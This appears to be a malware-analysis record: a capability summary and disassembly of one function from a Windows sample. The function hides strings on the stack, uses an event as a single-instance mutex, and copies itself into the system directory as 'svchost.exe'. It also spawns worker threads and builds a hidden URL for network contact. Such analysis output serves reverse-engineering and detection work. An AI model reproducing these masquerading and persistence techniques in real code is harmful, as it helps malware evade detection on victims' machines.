Function at 0x401260
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402ee0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x890
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
call fcn.00401120
test eax, eax
je 0x401299
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
call esi
jmp 0x401293
push str.dsadereswewewedarrwewewewegreghtvbfgwewewewefghsfeefffdcdsxxxxrr
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4016fd
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x15f]
mov byte [ebp - 0x160], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x160]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov cl, 0x5c
mov al, 0x57
mov byte [ebp - 0x20], cl
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x12], cl
lea ecx, [ebp - 0x20]
push ecx
mov byte [ebp - 0x15e], 0
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x19], 0x53
mov byte [ebp - 0x18], al
mov byte [ebp - 0x17], 0x4f
mov byte [ebp - 0x16], 0x44
mov byte [ebp - 0x15], 0x4e
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], al
mov byte [ebp - 0x11], 0
call sub.MSVCRT.dll__strrev
add esp, 4
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x160]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x25f]
mov byte [ebp - 0x260], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x160]
lea edx, [ebp - 0x260]
push ecx
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edi, [ebp - 0x2c]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x2c], 0x73
mov byte [ebp - 0x2b], 0x76
mov byte [ebp - 0x2a], 0x63
mov byte [ebp - 0x29], 0x68
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x78
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0
lea edx, [ebp - 0x260]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [ebp - 0x363]
mov byte [ebp - 0x364], al
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x364]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x260]
lea edx, [ebp - 0x364]
push ecx
push edx
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
je 0x4014a9
call fcn.00401060
lea eax, [ebp - 0x160]
push eax
call sub.MSVCRT.dll__mkdir
lea ecx, [ebp - 0x260]
push 0x4045c0
push ecx
mov esi, 1
call sub.MSVCRT.dll_fopen
add esp, 0xc
test eax, eax
je 0x401461
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
lea edx, [ebp - 0x260]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
lea eax, [ebp - 0x260]
push 0
lea ecx, [ebp - 0x364]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test esi, esi
je 0x40148a
lea edx, [ebp - 0x260]
push edx
call fcn.00401000
add esp, 4
lea eax, [ebp - 0x260]
push eax
call fcn.004028f0
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x670]
call fcn.00401c80
lea ecx, [ebp - 0x670]
mov dword [ebp - 4], 0
call fcn.00401be0
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402760
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
push 0
push 0
push 0
push 0x4029a0
push 0
push 0
call edi
push 0x3e8
call esi
push 0x404424
call sub.MSVCRT.dll_atoi
mov edi, eax
push 0x404438
mov dword [ebp - 0x58], edi
call sub.MSVCRT.dll_atoi
add esp, 8
mov dword [ebp - 0x5c], eax
mov bl, 0x2f
lea eax, [edi + edi*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call esi
lea edx, [ebp - 0x160]
lea ecx, [ebp - 0x670]
push edx
call fcn.004017f0
test eax, eax
je 0x401523
xor edi, edi
cmp edi, 3
jge 0x401564
lea ecx, [ebp - 0x670]
call fcn.004022f0
push 0x3e8
call esi
inc edi
jmp 0x40154a
xor eax, eax
test eax, eax
jne 0x401695
mov edi, 0x404010
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x770]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [ebp - 0x54], 0x68
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov byte [ebp - 0x53], 0x74
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x54]
or ecx, 0xffffffff
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x70
mov byte [ebp - 0x50], 0x3a
mov byte [ebp - 0x4f], bl
mov byte [ebp - 0x4e], bl
mov byte [ebp - 0x4d], 0x6d
mov byte [ebp - 0x4c], 0x61
mov byte [ebp - 0x4b], 0x70
mov byte [ebp - 0x4a], 0x2e
mov byte [ebp - 0x49], 0x73
mov byte [ebp - 0x48], 0x6f
mov byte [ebp - 0x47], 0x67
mov byte [ebp - 0x46], 0x6f
mov byte [ebp - 0x45], 0x75
mov byte [ebp - 0x44], 0x2e
mov byte [ebp - 0x43], 0x63
mov byte [ebp - 0x42], 0x6f
mov byte [ebp - 0x41], 0x6d
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], 0x76
mov byte [ebp - 0x3e], 0x35
mov byte [ebp - 0x3d], 0x31
mov byte [ebp - 0x3c], 0x32
mov byte [ebp - 0x3b], bl
mov byte [ebp - 0x3a], 0x69
mov byte [ebp - 0x39], bl
mov byte [ebp - 0x38], 0x70
mov byte [ebp - 0x37], 0x69
mov byte [ebp - 0x36], 0x78
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 0x2e
mov byte [ebp - 0x32], 0x67
mov byte [ebp - 0x31], 0x69
mov byte [ebp - 0x30], 0x66
mov byte [ebp - 0x2f], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x404010
mov edx, ecx
mov esi, edi
mov edi, 0x404010
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_puts
add esp, 4
lea eax, [ebp - 0x160]
lea ecx, [ebp - 0x670]
push eax
call fcn.004017f0
lea edi, [ebp - 0x770]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x404010
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [ebp - 0x160]
push 0
push eax
push 0x4027f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x670]
call fcn.004024e0
mov eax, dword [ebp - 0x5c]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
shl ecx, 5
push ecx
call esi
mov edi, dword [ebp - 0x58]
jmp 0x401523
lea eax, [ebp - 0x89c]
push 0x190
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x89c]
push ecx
call fcn.004028f0
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret